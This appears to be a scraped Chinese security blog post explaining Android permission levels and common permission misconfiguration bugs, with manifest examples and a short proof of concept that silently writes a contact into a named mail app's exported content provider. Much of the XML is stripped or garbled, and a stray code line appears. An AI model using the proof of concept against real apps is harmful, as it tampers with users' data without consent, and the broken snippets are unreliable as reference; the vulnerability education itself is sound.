<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Android權限使用錯誤相關漏洞

    VSole2021-10-13 16:18:34

    Android權限概述

    權限有助于限制對某些 Android 組件(如活動、廣播接收器、服務和內容提供者)的訪問。權限還用于在運行時驗證應用程序是否有權訪問敏感信息或執行危險操作。開發人員可以在應用程序的AndroidManifest.xml文件中聲明各種權限類型。比如,應用程序想要有權限訪問聯系人,必須在Androidmanifest.xml中包含如下聲明:

    "android.permission.READ_CONTACTS" />
    

    Android將權限分為不同的類型,包括安裝時權限、運行時權限和特殊權限。每種權限類型都指明了當系統授予應用該權限后,應用可以訪問的受限數據范圍以及應用可以執行的受限操作范圍。

    安裝時權限

    首先安裝時權限,顧名思義就是系統會在你安裝時自動授予這些權限,并在你安裝時進行通知。Android提供了多個安裝時權限的子類型,包括普通權限和簽名權限。普通權限規定的操作對用戶隱私和對其他應用帶來的操作影響較小。

    分配為“normal”保護級別。簽名權限是當應用聲明了其他應用已定義的簽名權限時,如果兩個應用使用同一個證書簽名,那么系統就會在安裝時就向前者授予該權限了。分配為“signature”保護級別。

    運行時權限

    其次是運行時權限。運行時權限也被稱為危險權限,此類權限授予應用對受限數據的額外訪問權限,并允許應用執行對系統和其他應用具有更嚴重影響的受限操作。需要先在應用中請求運行時權限,然后才能訪問受限數據或執行受限操作。當應用請求運行時權限時,系統會顯示運行時權限提示。就是咱們現在常見的允許訪問存儲空間這一類的彈窗提示。許多運行時權限會訪問用戶私有數據,這是一種特殊的受限數據,其中包含可能比較敏感的信息。例如,位置信息和聯系信息就屬于用戶私有數據。系統會為運行時權限分配“dangerous”保護級別。

    特殊權限

    特殊權限是與特定的應用操作對應的,只有平臺和原始設備制造商 (OEM) 可以定義特殊權限。此外,如果平臺和 OEM 想要防止有人執行功能特別強大的操作(例如通過其他應用繪圖),通常會定義特殊權限。系統會為特殊權限分配“appop”保護級別。

    聲明應用權限

    如果需要聲明應用可能請求的權限,要在應用的清單文件中添加相應的 use-permission 元素

    比如訪問相機:

    "android.permission.CAMERA"/>
    

    保護級別為dangerous。

    此外,如果我們想要創建自己的權限,也需要聲明

    printf("hello world!");"com.mycam.USE_CAMERA" android:protectionLevel="dangerous" />
    

    ".CamActivity" android:exported="true" android:permission="com.mycam.USE_CAMERA">            "com.mycam.LAUNCH_CAM" />        "android.intent.category.DEFAULT" />    
    

    第三方應用想要使用此功能,需要進行如下聲明:

    "com.mycam.USE_CAMERA" />
    

    相關漏洞

    忘記保護級別

    如果程序中沒有聲明protectionLevel,此時權限就會被默認標記normal

    "com.mycam.USE_CAMERA" />
    

    這就意味著,任何的應用程序都可以使用它。這就有可能導致用戶的隱私信息,比如通話記錄、短信等。

    生態系統錯誤

    假設此時有兩個應用程序的生態系統:my cam和my reader。此時reader可以使用相機應用程序的功能。

    cam清單文件:

    "http://schemas.android.com/apk/res/android" package="com.mycam">    "com.mycam.USE_CAMERA" android:protectionLevel="signature" />    "com.mycam.USE_CAMERA" />
        "My Cam">        ".CamActivity" android:exported="true" android:permission="com.mycam.USE_CAMERA">                            "com.mycam.LAUNCH_CAM" />                "android.intent.category.DEFAULT" />                                
    

    reader清單文件:

    "http://schemas.android.com/apk/res/android" package="com.mycoolreader">    "com.mycam.USE_CAMERA" />
        "My Reader">        ".AllUserNotesContentProvider" android:authorities="com.myreader.notes_provider" android:exported="true" android:permission="com.mycam.USE_COOL_CAMERA" />            
    

    此時,只有來自生態系統的應用才能訪問AllUserNotesContentProvider,但是,如果用戶只安裝了reader,那么Android系統就不知道com.mycam.USE_CAMERA權限聲明的任何內容,那么權限級別就默認標記為了normal。此時就出現了問題。

    組件聲明中的錯誤

    "com.mycam.USE_CAMERA" android:protectionLevel="signature" />
    

    ".CamActivity" android:exported="true" android:uses-permission="com.mycam.USE_CAMERA">            "com.mycam.LAUNCH_CAM" />        "android.intent.category.DEFAULT" />    
    

    這個可以清晰的看出來,開發者沒有使用android:permission屬性,而是使用了android:uses-permission,這就意味著該組件沒有設置保護級別。

    權限保護不足

    應用程序沒有完全保護他們使用的權限,所以這為第三方應用程序利用易受攻擊的應用程序并獲得權利留下了空間。

    "android.permission.READ_CONTACTS" />
    

    ".ContactsProvider" android:authorities="com.exampleapp.contacts" android:exported="true" />
    

    此時在ContactsProvider.java里面

    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {    return getContext().getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,            projection,            selection,            selectionArgs,            sortOrder);}
    

    訪問 URI ContactsContract.CommonDataKinds.Phone需要權限android.permission.READ_CONTACTS

    但是就不需要com.exampleapp.contacts。

    真實案例

    布局文件注冊權限:write_contacts

    "@string/write_contact_permission" android:name="ru.mail.mailbox.contacts.permission.write_contacts" android:protectionLevel="dangerous"/>
    

    但是卻使用了write:

    "@string/contacts" android:name="ru.mail.mailbox.content.contact.ContactsProvider" android:readPermission="android.permission.BIND_CHOOSER_TARGET_SERVICE" android:writePermission="ru.mail.mailbox.contacts.permission.write" android:enabled="true" android:exported="true" android:authorities="ru.mail.mailbox.contacts" android:syncable="false"/>
    

    那么就跟上面沒有關系了,直接默認normal保護級別,任何第三方應用程序都可以將數據寫入該數據庫。

    編寫poc

     "ru.mail.mailbox.contacts.permission.write" />    "ru.mail.mailbox.contacts.permission.write" />
    

    ContentValues contentValues = new ContentValues();        contentValues.put("display_name", "ihuoxian");        contentValues.put("email", "test@test");        getContentResolver().insert(Uri.parse("content://ru.mail.mailbox.contacts/"), contentValues);
    

    此時就可以在用戶沒有任何感知的情況,加入了一條聯系人信息。

    總結

    Android權限的濫用相對來說定位比較簡單,在Androidmainfest表單下,剩下的步驟就需要大家去分析權限的級別信息等等,可以看一下谷歌官方說明加深印象。

    https://developer.android.com/guide/topics/permissions/overview?hl=zh-cn
    
    android開發contacts
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    在過去的幾個月里,多個伊朗媒體和社交網絡都發布了警告,有攻擊者正在假冒伊朗政府實施短信釣魚活動。
    前言今天總結Android APP四大組件中Content Provider挖掘的知識,主要分為兩個部分,一部分是對Android Content Provider內容提供器的原理總結,另一部分便是對Android provider機制常見的一些漏洞總結,包括一些已知的漏洞方法,和一部分案例實踐。
    記一次試崗實戰項目
    2023-05-06 09:12:33
    試崗項目項目內容開發一個 xposed 插件,可以在 whatsApp 中導入通訊錄功能,輸入是手機號,輸出是這個手機號對應的id和個人信息,對方還跟貼心的給出了項目預覽圖,應該是對方近期接到的項目,也可以看出對方沒有白嫖我的意思。關鍵代碼定位點開APP隨便瀏覽了一下功能,根據對方給出的預覽圖,可以知道首先是需要定位這個界面的 onCreat 界面,首先考慮的就是直接搜字符串,比如“邀請使用”這四個字,但是拖入 jadx 一番搜索后什么也沒有。
    Web Hacking 101 中文版:https://wizardforcel.gitbooks.io/web-hacking-101/content/ 淺入淺出Android安全 中文版:https://wizardforcel.gitbooks.io/asani/content/ Android 滲透測試學習手冊 中文
    網上安全滲透測試工具整理全集,部分鏈接可能失效,但可以搜索到
    2020年3月9日,國家市場監督管理總局、國家標準化管理委員會發布中華人民共和國國家標準公告(2020年第1號),全國信息安全標準化技術委員會歸口的國家標準GB/T 35273-2020《信息安全技術 個人信息安全規范》完成修...
    截住 APP 重打包就一定程度上防止了病毒的傳播。如果 PermissionGroup 的屬性為空,會導致權限定義無效,且其他 APP 無法使用該權限。
    Android 特洛伊木馬
    2021-10-13 07:55:27
    研究人員表示,一種名為SOVA(俄語為“貓頭鷹”)的新型Android銀行木馬正在積極開發中,即使在起步階段,它也表現的野心勃勃。該惡意軟件希望將分布式拒絕服務(DDoS)、中間人(MiTM)和RANSOMSORT功能整合到其武器庫中——在現有的銀行覆蓋、通知操作和鍵盤記錄服務之上。
    SOVA 是一種新的 Android 銀行木馬,針對來自美國和西班牙的銀行應用程序、加密貨幣錢包和購物應用程序。
    Google Project Zero團隊最近發起了一項倡議,旨在設計新的技術來檢測攻擊中使用的零日漏洞。在與谷歌威脅分析小組合作時,專家們在2020年第一季度發現了一起由一名非常老練的黑客實施的watering hole攻擊。零日項目專家發現該活動針對Windows和Android系統。攻擊背后的威脅行為者利用了Android,Windows中的多個漏洞,并將它們與Chrome漏洞聯系在一起。讀取零日項目發布的分析。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类